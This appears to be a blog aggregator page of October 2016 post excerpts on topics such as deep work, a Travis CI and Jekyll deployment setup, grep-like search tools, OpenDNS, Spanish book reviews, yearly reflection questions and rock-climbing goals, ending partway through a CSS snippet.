What's happening here! This isn't a podcast about window managers and the ways to make one. (Though we might record one in the future) It's about the architectural differences between the different ways of interacting with the system to display graphics. Be it by interacting with other layers such as X11 or higher or by directly drawing them on the screen. It's really not about how to use the functions, and the technicalities and intricacies of every one of the softwares we're going to mention. We might do that, but again, it will be the subject of another episode. This one will only be an introduction. In this podcast you'll get a general overview of x11, xlib, xcb, and wayland.

Quitting the shallow for the deep

Josh Thompson — Mon, 24 Oct 2016 15:18:52 GMT

Deep work over shallow

TL;DR: I’m off social media, but want to keep a functioning Twitter URL. So, it redirects here.

This year’s “best book I’ve read” label might go to Cal Newport’s Deep Work.

Here’s the gist:

One of the most valuable skills in our economy is becoming increasingly rare. If you master this skill, you’ll achieve extraordinary results.

Deep work is the ability to focus without distraction on a cognitively demanding task. It’s a skill that allows you to quickly master complicated information and produce better results in less time. Deep work will make you better at what you do and provide the sense of true fulfillment that comes from craftsmanship. In short, deep work is like a super power in our increasingly competitive twenty-first century economy. And yet, most people have lost the ability to go deep-spending their days instead in a frantic blur of e-mail and social media, not even realizing there’s a better way.

In DEEP WORK, author and professor Cal Newport flips the narrative on impact in a connected age. Instead of arguing distraction is bad, he instead celebrates the power of its opposite. Dividing this book into two parts, he first makes the case that in almost any profession, cultivating a deep work ethic will produce massive benefits. He then presents a rigorous training regimen, presented as a series of four “rules,” for transforming your mind and habits to support this skill.

I often feel terrible at owning and directing my own attention. Yet, this ability is one of the most significant factors over on-going professional success and project-related satisfaction.

(I differentiate the two because you can have professional success without much satisfaction, and probably vice versa. I want both.)

I’ve a bunch of other reasons for wanting to develop these skills, but reading Deep Work helped clarify something about why a goal I accomplished a few years ago was so satisfying.

The context: I was working in DC in an uninspiring and low-paid role. I was commuting about an hour each way. Kristi and I wanted to move, and I wanted a better job. I didn’t feel like I “deserved” a better job, just that I’d not yet accomplished the dual efforts of:

Being more valuable
Finding a role where I could deliver that additional value.

If I could accomplish these goals, I could find a great company, and do that work remotely.

Put another way, if I could accomplish these goals, Kristi and I could move to Colorado with a job in hand. To someone who’s grown up in the climbing community, this is akin to dying and going to heaven.

In hindsight, this powerful goal motivated me to do deep work. I spent many, many hours immersed deep in a range of projects:

Who are industry-leaders in the customer support world? I got to know them.
Could I show that I’d help improve the efforts my entire team? If not, figure out how, and then do it.
Could I add valuable skills to my “toolchest”? I think so. I went deep on Excel, so I could collect/display data better.
Can I communicate in writing better? Probably. Learn by doing, so I started writing. Lots.
I studied just about everything Ramit Sethi wrote on getting jobs. (Here’s a great place to start.)

And I did all of this most days between the hours of 4:45a - 7:15a. Because after I went to work and got back at 6:30p, I was exhausted.

I’ve not poured myself into projects with quite that same intensity for a while, in part, because it’s easy to get distracted. And I don’t have quite the same audacious goals that I did then.

To make space for deep work, I’m removing “the shallows” from my easy reach. I’ve not used Facebook much over the last two years, but it’ll stay deleted. Instagram I’m removing from my phone, and Twitter - I’m locking myself out of it, removing it from my phone.

That is all. I might update this a bit more as I go, but for now - I’ve taken all the time I’ve allotted to write this, and it’s on to the next thing.

Setting up Travis, Jekyll and GitHub pages

Muffin Man — Mon, 24 Oct 2016 03:00:00 GMT

Please note that I'm not using Jekyll anymore, so this post might be outdated.

Update, November 2017 #

I don't use this setup anymore, it might be outdated, proceed with caution.

Original post #

As I already mentioned, GitHub pages do not work with the Jekyll plugins. It is a security measure. So I researched it a bit, and colleague of mine proposed a simple solution - Travis CI.

There is a great repo with instructions how to set everything up - jekyll-travis. But few steps are kinda confusing, and it took me 10 failed builds to make it work. So I'll try to help you with those.

I copied the steps from the original repo and updated steps where I got stuck. Be sure to check the original readme as well.

Flow #

When you push to your GitHub repo, it triggers Travis
Travis starts up a virtual machine and installs all required software (mostly Ruby gems). We use a custom rake task to tell Travis how to build our Jekyll site and push the updated content back to Github
Travis clones a source branch (usually master or source, in my case source)
Travis runs jekyll build on the source branch
Travis does a git push to the branch holding static site files (usually gh-pages or master, in my case master)
Github Pages starts serving the updated site

Steps to make it work #

Move your Jekyll source files to the source branch (name it as you like). We'll use master or gh-pages branch to host generated HTML website.
Make sure you have enabled your source repo in the Travis CI admin dashboard so that the webhook is triggered
Create a GitHub Personal Access Token from you profile page.
If you haven't already, create a Gemfile, and add rake gem to it.
```
source "http://production.cf.rubygems.org/"

gem "rake", "~> 10.1.1"
gem "jekyll-paginate"
gem "jekyll-archives"
```
We have seen intermittent timeouts fetching gems from Rubygems.org. install: bundle install lets Travis CI automatically retry, and we are using source "http://production.cf.rubygems.org/" in Gemfile to point to a different repository.

Install the travis gem (gem install travis) and create .travis.yml. It will tell Travis what to install and how build our Jekyll site. Add following data to it.

language: ruby
rvm:
- 2.3.1
install:
- bundle install
script: bundle exec rake site:deploy --quiet
env:
  global:
    secure: YOUR_ENCRYPTED_INFO

Replace the YOUR_ENCRYPTED_INFO with the output of the following command:

travis encrypt 'GIT_NAME="Your Username" GIT_EMAIL="your@email.com" GH_TOKEN=GITHUB_PERSONAL_TOKEN_YOU_CREATED'

Make sure you add vendor to your .gitignore as Travis CI is vendoring the Ruby gems there. The vendor folder should also be excluded in the Jekyll _config.yml.

Add the following to your Jekyll _config.yml file: username, repo and branch.

# GitHub
username:             Stanko
repo:                 Stanko.github.io
branch:               source

# Jekyll source / destination
source:               .
destination:          _site

Add the contents of Rakefile to your Jekyll Rakefile (or replace it). The provided Rakefile has some additional commands, but the important one here is rake site:deploy.

And you are done! That should be it, of course you need to create a Travis CI account. Travis is free for the open source projects. If you are using it for the commercial stuff, play fair and check their payed tiers.

Build for my blog takes about a minute. It depends of the software Travis installs on every build.

Now you can use custom plugins and asset pipeline with Jekyll. Cheers!

How to Ally

Pete's Points — Mon, 24 Oct 2016 00:23:30 GMT

Article of the week right here: Being an effective ally to woman and non-binary people.

2016-10-22

ho.dges.online — Sat, 22 Oct 2016 03:00:00 GMT

Spanish Silhouettes
Taken one-handed in a pub somewhere near Ribadesella, this is one of the few times when I really knew I had nailed capturing a picture on the first attempt. Such a beautiful part of the world.

ripgrep is the new hotness

Pete's Points — Sat, 22 Oct 2016 00:11:04 GMT

For any of you command line code searching nerds out there, just wanted to point out the newest addition to a long line of command line filesystem search utilities.

A brief, probably wildly inaccurate history goes something like this:

In the before time, the long long ago, there was grep. It did recursive regex searches and was pretty powerful and effective. Sometimes you would need to pair it with find and xargs to get more precision.

Sometime around 2006 Andy "petdance" Lester got sick of grep searching irrelevant metadata like SCM directories and wrote an updated tool called ack which was smart enough to ignore those by default. It was written in perl and faster than grep. This was touted as "25% fewer characters to type than grep". Read more at beyondgrep.com.

Not satisfied with a 3-character search command, Geoff Greer created the_silver_searcher in 2011. It is written in C and the command is ag (periodic table for silver), thus yet another 33% shorter to type than ack. read more at The Silver Searcher

Recently we've been blessed with the newest candidate for king: ripgrep. ripgrep is written in rust and the command is rg. Read more at BurntSushi/ripgrep.

Give it a whirl: brew install ripgrep.

Interesting that ripgrep was not bold enough to go for the 1-character command. I wonder when someone will release a program called s and attempt to take the throne.

All these tools are useful, but most I think the usernames petdance and burntsushi and project name the silver searcher and ripgrep are fantastic. Great job on naming things!

Open DNS for when DNS outages occur

CRAIG KERSTIENS — Fri, 21 Oct 2016 23:55:56 GMT

Open DNS is a DNS resolver that caches records beyond their TTL if the upstream DNS server cannot be found. In cases like today’s major outage it can be handy to swap your DNS settings out for this, or it may be worth using as a standard default. Resolution may be a bit slow as it will try to see if the upstream server cannot be found, but it at least can get you back to a working state.

If you know what you’re doing then all you need to do is configure your DNS settings to: 208.67.220.220 and 208.67.222.222.

If you need a little more guidance you can go into your System Preferences on Mac, select Network, then Advanced and finally the DNS tab. You should set it up to look as follows:

2016-10-21/01

ho.dges.online — Fri, 21 Oct 2016 03:00:00 GMT

2016-10-21/03

ho.dges.online — Fri, 21 Oct 2016 03:00:00 GMT

Embedded Linux Conference Europe 2016

Linux Engineer's random thoughts — Fri, 21 Oct 2016 01:00:00 GMT

I was in Berlin last week for ELCE, and it was great. It was a nice mix of talks on many different subjects, and as always you come back with lots of new ideas and improved motivation.

As you know, I took some notes for Kernel Recipes 2016, and lots …

Unix Signals

Venam's Blog — Patrick Louis (Lebanon) — Thu, 20 Oct 2016 20:00:00 GMT

Signals have been there since the very first version of Unix. They were just a bit different from what we know today. For many reasons in fact, they've gone through many iterations of development and ideas. Today we have one single system call to catch all signals but that only appeared in version 4 of Unix and before that there were different system calls to catch different types of signals. In version 7 of Unix signals received a symbolic name for the number corresponding to the signal, for instance, "KILL" "HUP". The kill command appeared early on in version 2 of Unix. BSD soon added the SIGUSR1 and SIGUSR2 signals to their version with the aim of using it for IPC.

Telegraf & Prometheus Swiss Army Knife for Metrics

Fabrice Aneche — Thu, 20 Oct 2016 15:58:10 GMT

There are a lot of different solutions when it comes to collecting metrics, I found myself happy with this hybrid solution. Telegraf is an agent written in Go for collecting metrics from the system it’s running on. It’s developed by Influxdata the people behind InfluxDB, but Telegraf has a lot of outputs plugins and can be used without InfluxDB. Many different platform (FreeBSD, Linux, x86, Arm …) are offered and only one single static binary (Thanks to Golang) is needed to deploy an agent.

Me cuesta llegar a fin de mes, ¿cómo ahorro?

GeekWare - Daniel Pecos Martínez — Thu, 20 Oct 2016 08:09:27 GMT

Ya hemos comentado que el ahorro es la base de la inversión, pero ¿cómo conseguir ahorrar si a duras penas llego a fin de mes? Aunque sin fácil solución, te voy a comentar algunos trucos o consejos que he utilizado en alguna ocasión.

Primero y posiblemente el más importante: reduce gastos fijos. ¿Necesitas todo lo que tienes contratado? Puedes empezar por reducir la cobertura del seguro del coche, la velocidad del internet contratado, la tarifa del móvil, incluso servicios absurdos, como por ejemplo el servicio de identificación de llamadas de la línea fija (sí, no es broma, 1€/mes)
Renegociar condiciones hipotecarias: puede que no sea fácil o incluso una opción en ese determinado momento, pero estad siempre pendientes de las condiciones hipotecarias que ofrece el mercado. Es posible que un cambio de banco o una renegociación de condiciones con el actual, nos ayude a aumentar nuestro líquido disponible. Consejo: tratad de no alargar los plazos de amortización, eso se termina traduciendo en mayor pago de intereses al final del préstamo o hipoteca.
Austeridad: si tenemos problemas para llegar a fin de mes, reduce gastos puntuales que no sean directamente esenciales: eventos sociales (cines, cenas, cubatas, …), llévate comida de casa en vez de comer de restaurante o trata de reducir el uso del coche (haz un uso compartido o incluso utiliza la bicicleta si es posible)
Busca liquidez a coste 0: por ejemplo, un truco que he usado en alguna ocasión para no tirar de crédito de tarjeta para obtener liquidez consiste en hacer compras de valor importante de familiares que vayan a comprar por voluntad propia (no es cuestión de obligarles a gastarse el dinero), pagarlas con mi tarjeta en modo aplazado a final de mes (que en mi caso, y seguro que en el de muchos más, no tiene coste alguno) y que éstos nos den el dinero en metálico. Con esto conseguimos algo de liquidez extra. Aunque no hay que pasarse con ésto, ¡a final de mes llegará puntualmente el acumulado total de la tarjeta!
Buscar ingresos extras: buscar tareas en webs de freelance que nos permitan obtener un dinero extra. Por lo normal, requerirán que les dediquemos un determinado esfuerzo / tiempo (estamos vendiendo nuestro tiempo, que es el único bien del que disponemos y que siempre va en decremento), por lo que no es el ideal, pero siempre será mejor que aumentar nuestro endeudamiento. Lo ideal sería conseguir una fuente de ingresos pasivos, pero eso es algo que requiere algún tiempo.

Para terminar, mi última recomendación es que trates por todo lo posible de pedir préstamos o aplazar pagos de tarjetas. Todo esto tiene un coste asociado, por lo que terminarás pagando más de lo que inicialmente precisabas, por lo que si no es del todo imprescindible (y en tal caso, meditar largo y tendido si realmente nos va a hacer algún bien) evita el contratar este tipo de servicios.

El Juego de Ender

GeekWare - Daniel Pecos Martínez — Thu, 20 Oct 2016 08:00:02 GMT

Una especie extraterrestre con apariencia de insectos ataca la Tierra. Estos seres son capaces de comunicarse telepáticamente y se catalogan como una especie superior a los humanos, por lo que se proponen destruir a cada persona que habite en el mundo.

Sin embargo, la humanidad tratará de evitar su exterminio, así que para vencer a los insectores (nombre de los extraterrestres) necesitan de un genio militar capaz de contrarrestar esta amenaza, por lo que permiten el nacimiento de Ender, el tercer primogénito de una pareja en un planeta donde se ha reducido el número de descendientes a dos personas.

Ender nació para recibir entrenamiento especial en una estación, luego de que su hermana mayor y Peter (su hermano) hayan sido considerados como no aptos para la misión. Y bajo la estricta supervisión de la Flota Internacional, el respetado Coronel Hyrum Graff se hace cargo de comandar el entrenamiento, donde estos jóvenes, quienes se distribuyen en grupos, combaten entre sí, utilizando armas que paralizan sus armaduras.

Los simuladores en El Juego de Ender

En consecuencia, Ender deberá aprender cada uno de las técnicas alusivas a la guerra a través de videojuegos y en los difíciles ensayos de batallas que realiza junto a sus compañeros de entrenamiento. Por consiguiente, a la habilidad de cómo se narran las emociones en esta novela, también se le añade un elemento muy llamativo, que es el empleo de las simulaciones y juegos de fantasía en la preparación militar, psicológica y estratégica del protagonista.

Ahora bien, Ender logra desarrollar habilidades únicas y su potencial para luchar es más avanzada que la de los demás, así que rápidamente sube de rango en la estación y termina convirtiéndose en un líder indiscutible, es decir, en el guerrero más apto para dar órdenes a las flotas terrestres contras los insectores. Sin embargo, al llegar a la Escuela de Alto Mando, el prodigioso guerrero se percata que la guerra contra la especie extraterrestre es mucho más difícil de lo que se había imaginado.

El futuro del mundo depende de Ender

De esta forma, comienza la acción en El Juego de Ender, donde se pretende salvar a la humanidad de un Apocalipsis y un futuro devastador. Así que el destino de la humanidad está en mano del nuevo y legendario Mazer, que es nada menos que Ender Wiggin, cuya personalidad es bastante tímida pero posee un talento innato y peligroso para los enfrentamientos bélicos.

Una lectura épica

El Juego de Ender está perfectamente relatado, gracias a que logra recrearte imágenes en tu mente acerca de las batallas, de manera que te las imaginas totalmente, lo que resulta muy divertido a la hora de leer un libro.

Por otra parte, el autor Orson Scott Card, describe de manera excepcional los diferentes estados de ánimo del protagonista, que frecuentemente tiende a reflexionar acerca del sentido del juego, incluyendo a sus jóvenes compañeros, colegas, superiores y sus subordinados, así como también a su familia.

Si obtienes El Juego de Ender te darás un gran banquete y tendrás la oportunidad de disfrutar de un bestseller, que fue galardonado en los premios más afamados de la ciencia ficción: el Premio Nébula como la mejor novela en 1985 y un año después el Premio Hugo.

Blog redesign and new features

Muffin Man — Thu, 20 Oct 2016 03:00:00 GMT

Please note that I'm not using Jekyll anymore, so this post might be outdated.

As you probably noticed I redesigned my blog and added some new features. This is a list of the new stuff.

New design
Category pages
Comments
Search
Reading time
Share buttons

New design #

My friend Nikola, from MIDA digital agency, helped me a lot with this one. I gave him a basic idea what I wanted, and he came up with this simple but beautiful design. It might go through some smaller changes in the future, but nothing major. Hope you like it.

Category pages #

These are accessible from the main menu, or by clicking on the category link at the end of the post. Obviosly, they list all of the posts for the selected category. This is the plugin I used: jekyll-archives.

Comments #

Staticman brings user generated content to the static site generators. You can add their bot to your repo, and then hitting specific endpoint will generate a pull request (or push directly) with the data user entered. My comments are going through pull requests, which enables me to moderate them.

Search #

Also accessible from the main menu. Search is done by JavaScript and it goes through JSON object with post titles. It uses fuzzy search algorithm, so it will find every title that has all of the letters you entered. Longer word matched will give higher priority to a result. (Try typing SASS for example.)

Reading time #

At the top of each post, you'll see estimated reading time. It is a very simple plugin I found somewhere on the internet and modified a bit.

Here it is:

# Outputs the reading time

# Read this in "about 4 minutes"
# Put into your _plugins dir in your Jekyll site
# Usage: Read this in about "page.content | reading_time"

module ReadingTimeFilter
  def reading_time( input )
    words_per_minute = 180

    words = input.split.size;
    minutes = ( words / words_per_minute ).floor
    minutes_label = minutes === 1 ? " minute" : " minutes"
    minutes > 0 ? "about #{minutes} #{minutes_label}" : "less than 1 minute"
  end
end

Liquid::Template.register_filter(ReadingTimeFilter)

At the end of each post, there are three simple sharing buttons. For Facebook, Twitter and Google+. No API or third party scripts are loaded.

Other stuff I want to add #

Real related posts - Jekyll by default as related posts actually shows latest posts. I'm still looking for a nice way to implement this. Probably I'll just match posts by tags.
Meta data (for sharing and SEO) - just need to add few meta tags to the head.
JSX syntax highlighting - not sure how to make this one, still at the drawing board.
Add icon for the ATOM feed

Custom plugins and GitHub pages #

When I first pushed new version of the blog, most of the new features were missing. I quickly learned that GitHub pages doesn't allow custom plugins. It is a reasonable security feature.

I decided to get a hosting for the blog, and then use Jenkins to make a Jekyll builds. But colleague told me that this is easily doable using Travis, without any outside hosting. There will be a new post about it, with detailed description how to set it up.

Basically I use the source branch for the Jekyll website, and Travis is watching for the pushes on that branch. When push is detected, Travis builds static HTML and pushes it to the master branch. From there GitHub pages takes over and deploys it.

For the end #

Hope you guys like the changes, if you are interested in anything specific, feel free to leave a comment. I'll try to answer it, or even write a completely new post about it. Thanks!

2016-10-20

ho.dges.online — Thu, 20 Oct 2016 03:00:00 GMT

3 cases where JavaScript generators rock (+ understanding them)

Gosha Spark — Thu, 20 Oct 2016 03:00:00 GMT

40 questions to ask yourself every year

Steph Ango — Thu, 20 Oct 2016 03:00:00 GMT

One of my end-of-year rituals is asking myself these forty questions. It usually takes me about a week to work my way through all of them. I find it to be one of the most valuable exercises to reflect on what happened, good and bad, and how I hope the year ahead will shape up.

These questions are available in Markdown format and in 35 languages.

What is more interesting than each individual answer are the trends that emerge after years of answering the same questions. I’ve shared this list with my family and closest friends, and always enjoy discussing answers as we reflect on the year.

Feel free to add or remove questions, and share your edits. This is first and foremost a personal exercise, so make it a tradition you can enjoy for years to come. See also my 40 questions to ask yourself every decade.

What did you do this year that you’d never done before?
Did you keep your new year’s resolutions?
Did anyone close to you give birth?
Did anyone close to you die?
What cities/states/countries did you visit?
What would you like to have next year that you lacked this year?
What date(s) from this year will remain etched upon your memory, and why?
What was your biggest achievement of the year?
What was your biggest failure?
What other hardships did you face?
Did you suffer illness or injury?
What was the best thing you bought?
Whose behavior merited celebration?
Whose behavior made you appalled?
Where did most of your money go?
What did you get really, really, really excited about?
What song will always remind you of this year?
Compared to this time last year, are you: happier or sadder? Richer or poorer? Healthier or unhealthier?
What do you wish you’d done more of?
What do you wish you’d done less of?
How are you spending the holidays?
Did you fall in love this year?
Do you hate anyone now that you didn’t hate this time last year?
What was your favorite show?
What was the best book you read?
What was your greatest musical discovery of the year?
What was your favorite film?
What was your favorite meal?
What did you want and get?
What did you want and not get?
What did you do on your birthday?
What one thing would have made your year immeasurably more satisfying?
How would you describe your personal fashion this year?
What kept you sane?
Which celebrity/public figure did you admire the most?
What political issue stirred you the most?
Who did you miss?
Who was the best new person you met?
What valuable life lesson did you learn this year?
What is a quote that sums up your year?

Also available in Arabic, Bulgarian, Catalan, Chinese simplified and traditional, Dhivehi, Dutch, Filipino, Finnish, French, German, Greek, Hindi, Hungarian, Indonesian, Italian, Japanese, Korean, Latvian, Lithuanian, Malayalam, Norwegian, Persian, Polish, Portuguese, Russian, Slovak, Spanish, Swedish, Tamil, Thai, Turkish, Ukrainian, and Vietnamese

This list was inspired by a set of questions posted by coppermoss on Metafilter.

October 2016 Goals

Josh Thompson — Wed, 19 Oct 2016 03:00:00 GMT

In the last year, I’ve fluctuated between writing every day for 30 days and not posting once in two months.

Frankly, neither of those is good for me.

I like writing because it clarifies my own thoughts. Sometimes it seems useful to others. I like to be useful (“utility” can often correspond with “market value”, which sometimes corresponds with $$$) and I like to think clearly.

Projects

I’ve got three open projects right now:

Learn back-end web development. (ew. a huge and complicated and ill-defined goal)
Launch a three-tiered course/offering about how to climb without fear over on climbersguide.co. (Much less complicated, much more defined, than #1)
Climb 5.13. This has been a goal for ages. {excuse1} {excuse 2} {excuse 3}. With those excuses out of the way, 5.13 is a meaningful grade to me. Mostly, it’s quite hard climbing. 5.13 is not hard to really really good rock climbers, but at least it gets a shrug from them, so it’s good enough for me. (Simplest and best defined of all goals.)

Why did I title this thing “October”?

I can have one meaningful goal in each of these projects, and spend the rest of the month working on it. At the end of the month, I can post an update, and then sketch out the next month of work.

This cadence might be that sweet spot of “writing for clarity and understanding” without tipping into “writing for the sake of writing”.

To that end, here’s my stab at what might be progress for the rest of the month in each domain:

Programming

I’ll finish Hartle’s Rails Tutorial, and move on to another walk-through of a specific app. TBH, I don’t feel like I’ve learned too much from the tutorial, because so much of what I’m doing is going way over my head.

I’m punching in code in the right places, and making the tests turn green, but I’ve got a ways to go for really understanding what I’m doing.

Fortunately, this is a solvable problem, so it doesn’t concern me at all.

Climber’s Guide course

Oh man. Do you want to undertake a project that makes you question your value as a person, everyone’s assessment of you, and make you wonder if you’re a terrible person?

Great. Launch a course that you will try to get people to pay you a lot of money for.

More real-talk: The price-points I’m aiming for are roughly:

$50 - Basic
$150 - Middle
$300 - Premium

That’s right. {scream emoji}. This is a lot of money. I’m going to ask people to pay me it.

Part of the pricing is because that’s what the product + offerings is worth. Part of it is the anchoring effect.

Quick - is $50 a lot of money? You’ll probably say “no” because you just read the price of $300. So, $50 is cheap. What if I said I was offering a course for $10, $25, and $50? Now you’d say $50 is expensive. Probably.

The scary thing is… I think it’ll be worth it. But again, there’s that thorny problem of “value, self-esteem, confidence” raising it’s ugly head.

So, next step?

Record a bunch of videos talking people through the program, step by step.
Send more regular emails to everyone that’s on the list. I’ve got about 250 email subscribers that I’ve not emailed in a few months. Oops.

Furiously google’s “Reengagement campaign”. Fortunately, I work at a company that knows how to handle this sort of situation

(I’d like to “launch” this course to a list of at least 500. I’ve got other projects in the pipe for that…)

I already have most of the videos done (the videos of the actual climbing.) What I’m missing is the “Josh talks into a camera and explains what’s going on”.

I need to annotate the videos, make it extremely clear whatever it is I’m trying to teach.

It’ll so be worth the money. I can help the right person climb 2-3 grades harder almost overnight. That same person will spend $300 on a new rope and $150 on cool climbing shoes that will help them climb (maybe) one grade harder.

It’s still sticky and uncomfortable. But that means it’s good for me, right?

Right?

Climbing 5.13

There’s a nice book written about how to climb 5.12. (I just noticed the cover image is from Jesus Wept, 5.12d, Red River Gorge. Fantastic climb, though those two-finger pockets are challenging.)

Climbing 5.12 is most likely within the genetic potential of almost every person alive today. That doesn’t make it easy, it just means “your genes will not make it impossible for you to climb 5.12 with enough time, training, and at the right BMI”

5.13 is four grades harder than 5.12, which is… generally considered hard. I’ve had mixed success with 5.12. I’ve onsighted up to 5.12b, and projected… maybe a few 5.12cs. This is a pretty bad “spread” between the onsight grade and project grade.

Traditionally, you should be projecting about four grades harder than you can onsight. I project one grade harder than I onsight. (Oh, you thought 5.14 was a reasonable goal? hah.)

Why is this? Am I really really good at onsighting? Not at all. I am comically bad at remembering my beta. (“Beta” is just the sequence of hand and foot movements that you use to move through sections of a climb)

Generally, the first time you get on a climb, you’re going to make some mistakes, as well as learn more efficient ways to climb. (“The 2nd left-hand crimp is terrible. Bump to the more incut hold, and then highstep your right foot to a hand-foot match on the right”)

I cannot remember this stuff at all. If I do the same climb three times in a row, I’ll have probably climbed it three different ways. I’m basically re-onsighting climbs, over and over and over.

So, if I want to climb better/harder, the obvious next step is remember my beta.

I feel like this might be related to my generally horrific ability to visualize things in general. I’ve noticed when I read books with vivid landscape depictions, I gain nothing from reading them, because my “minds eye” doesn’t do anything.

I just read books for content, plot advancement, etc. I’m bad at visualizing faces (I’m bad with names, too), and when I look hard enough, I find evidence of a severely under-trained “minds eye”.

google’s “how to train your mind’s eye” Wow. That got weird quick. Nevermind.

So, next steps for climbing training?

I’m going to start writing out a “sequence log” of the difficult parts of routes/boulder problems, and see if I can follow my intended sequences over time.

Additional reading:

This guy wrote how/why he climbes 5.13, and he’s a local to the New River Gorge, which is near and dear to my heart. Beautiful pictures, too.
Onsight Climbing Tips for Sport Climbers
Anderson Brother’s on On-sight climbing
There’s a TON written about climbing 5.12. Comparatively little about climbing 5.13. (Or so goes my first impression from the Googles.)
A nice climbing blog I stumbled across

PS SquareSpace’s Markdown content block doesn’t work with real markdown. :( They don’t recognize # H1, ## H2, etc. Sigh.

Links - October 19th, 2016

Avy Faingezicht — Wed, 19 Oct 2016 03:00:00 GMT

As my friend Leo would say, my lack of link-posting has been circumstantial, not intentional. Last week found me busy, and uninspired. The weekend, on the other hand, gave me a lot to think about. I listened to the audio-book version of Ta-Nehisi Coates' Between the World and Me, and watched 13th, both of which I would highly recommend. I also attended a few LitQuake events, one of which was especially worthwhile. For a while now, I have been saying that I want to write more, and this weekend gave me even more ideas, as it put a lot of things in perspective. The goal for the upcoming weeks is to put my thoughts down on paper. Also, I read a bunch of interesting things about the election, but you're probably tired of that. I am too. In the mean time, here are links worth reading.

Space Computing 🚀 and Orbit Native Applications

Justin Garrison's Homepage — Wed, 19 Oct 2016 03:00:00 GMT

Forgive the analogies, I read Breaking the Chains of Gravity

Питерские дворики

Blogs on Michail Rybakov — Tue, 18 Oct 2016 17:07:46 GMT

Ходил я по дворам; дворы дрожали.

Randy J. Hunt: VP of Design at Etsy

Sam Solomon — Tue, 18 Oct 2016 03:00:00 GMT

Randy J. Hunt Randy J. Hunt is the Vice President of Design at Etsy and author or Product Design for the web.

2016-10-18

ho.dges.online — Tue, 18 Oct 2016 03:00:00 GMT

Yac Roadmap

Prasham H Trivedi — Tue, 18 Oct 2016 03:00:00 GMT

Thanks to your support and interest, YAC is constantly evolving. I have laid plans in this post about what I am going to do around which milestones.

Sanpai – Inspect Subject Alternative Names on SSL Certificates

Tue, 18 Oct 2016 00:59:00 GMT

There are plenty of ways to inspect and work with SSL certificates, but I could not come across anything quick and easy that allows me to visually and programmatically inspect the contents of an SSL certificate’s SANs. Sure, I can bust out a nasty one-liner from the command line, but nothing beats the ease of a quick Python script.

My Bash one-liner would look something like (which lines up with what a few folks Stack Overflow came up with):

$ openssl x509 -in cert.pem -text | grep "DNS" | tr ',' '\n' | sed 's/DNS://'

and while that totally works, it lacks convenience. If you’re having to update your SANs regularly, it can be helpful to get a quick diff on the before/after change; ultimately, my laziness will always win out. So here’s Sanpai:

$ sanpai cert.pem
www.btmiller.com
subdomain.btmiller.com
*.btmiller.com
wewlad.btmiller.net
jeff.lebowski.dude
...
subdomain2.btmiller.com

The whole set of OpenSSL command line tools is great, but it’s just a little to unwiedly for my taste in a pinch. As mentioned earlier, when you’re updating your SANs regularly and want to validate the added/removed domains, add the second file to compare against with --diff. Example, confirm that jeff.lebowski.dude from the previous output is removed:

$ sanpai cert-old.pem --diff cert-new.pem
! www.btmiller.com
! subdomain.btmiller.com
! *.btmiller.com
! wewlad.btmiller.net
- jeff.lebowski.dude
  ...
! subdomain2.btmiller.com

Behind-the-scenes, Sanpai uses the awesome Python Cryptography package.

Pass Time

Venam's Blog — Patrick Louis (Lebanon) — Mon, 17 Oct 2016 20:00:00 GMT

Let's start with definitions because the words themselves are not representative of my perspective. I think there's a clear distinction between words. We have different words for a reason, they have different meanings. They might be thought to be synonymous but do have backgrounds, connotations, history, roots, that differ, The generic aspect of what it should mean.

El Marciano

GeekWare - Daniel Pecos Martínez — Mon, 17 Oct 2016 08:00:05 GMT

El astronauta de la NASA, ingeniero mecánico y botánico, Mark Watney, es integrante de una tripulación de seis personas de la misión Ares 3, que está destinada en ser la primera en aterrizar y realizar estudios en Marte. Pero una tormenta de arena con vientos que supera a gran escala los pronósticos de la NASA, obligó al equipo espacial a abandonar el Hab (habitáculo donde iban a residir) y a despegar hacia la Hermes (la nave espacial en la que llegaron en órbita).

Durante el proceso de evacuación, el potente viento marciano desprendió la antena parabólica de radio del Hab, impactando en la integridad física de Mark, ocasionándole una herida en la zona del abdomen y al mismo tiempo fue arrastrado por el viento, lo que generó que se extraviara en Marte.

Ante este incidente, Lewis, quien es la capitana de la misión, luego de varios intentos de rescatar a Mark toma la decisión de abandonar Marte, pensando que el astronauta había fallecido. Pero para fortuna de Mark, el hierro de la antena y la sangre de la herida, cubren la lesión y sellan el traje, haciendo que el astronauta se mantenga con vida.

Sólo, en Marte

Así es cómo empieza la aventura de Mark y se genera el desenlace en El Marciano, ya que el astronauta se encuentra solo en este planeta, con alimento para un año -debido a que se queda con el suministro para seis personas- y sin probabilidad de hacer contacto con el planeta Tierra sin la antena de radio.

Analizando su situación, se percata que su única oportunidad de mantenerse con vida por más tiempo es sobrevivir durante cuatro años, el tiempo que tardará en regresar la misión Ares 4.

En la Tierra los científicos de la NASA se dan cuenta que Mark continúa vivo, gracias a los satélites que orbitan el planeta Marte, por lo que empiezan a trabajar para intentar auxiliarlo con las pocas opciones que tienen.

Su lucha por sobrevivir

Mark sigue luchando para seguir con vida, así que contando con su ingenio, sus habilidades y sus conocimientos de botánica, logra encarar obstáculos que parecen insuperables. Además, su sentido del humor se convierte en el motor que le provee fuerza para continuar luchando y aferrándose a la idea de seguir viviendo, por lo que ejecutará un plan maestro para ponerse en contacto con la NASA.

Una gran experiencia literaria

Con un final espectacular, El Marciano es una novela de ciencia ficción escrita por Andy Weir que se ha convertido en un bestseller online, obteniendo una gran cantidad de ventas en plataformas como Amazon.

La historia forjada en este libro posee un delirio fantástico y una mecánica de suspenso que sorprende al lector, haciendo que éste se adentre en el cosmos y el instinto humano de luchar por la supervivencia. En síntesis, El Marciano hará que tengas una experiencia literaria irrepetible.

Esta novela ha cautivado a insignes personajes como al astronauta y comandante de la Estación Espacial Internacional, Chris Hadfield, al autor de Ready Player One, Ernest Cline, al famoso escritor estadounidense, Steve Berry, entre otros intelectuales, fanáticos y reconocidos artífices de obras literarias.

El portal de noticias The Wall Street Journal, ha catalogado a El Marciano como: “La mejor novela de ciencia ficción en años”. ¿Qué esperas? ¡Anímate! Una vez que empieces no pararás de leerla.

Laos travel bookmark

xenodium.com @alvaro — Sun, 16 Oct 2016 03:00:00 GMT

Best Way to Enjoy Luang Prabang.

Progressive enhancement #1

Qubyte Codes — Sat, 15 Oct 2016 21:00:00 GMT

When I first put together the CSS for this blog I avoided a fixed header since the header felt a bit large, and I didn't want to take up too much space which could be used for content.

The solution is a header which shrinks as the reader scrolls down. This gives back a little space, and maintains access to the navigation bar (which is a part of the header). To make it look nice, the title animates between the smaller and larger states using a CSS transition. The CSS looks something like:

h1 {
  font-size: 2rem;
  margin: 1rem 0;
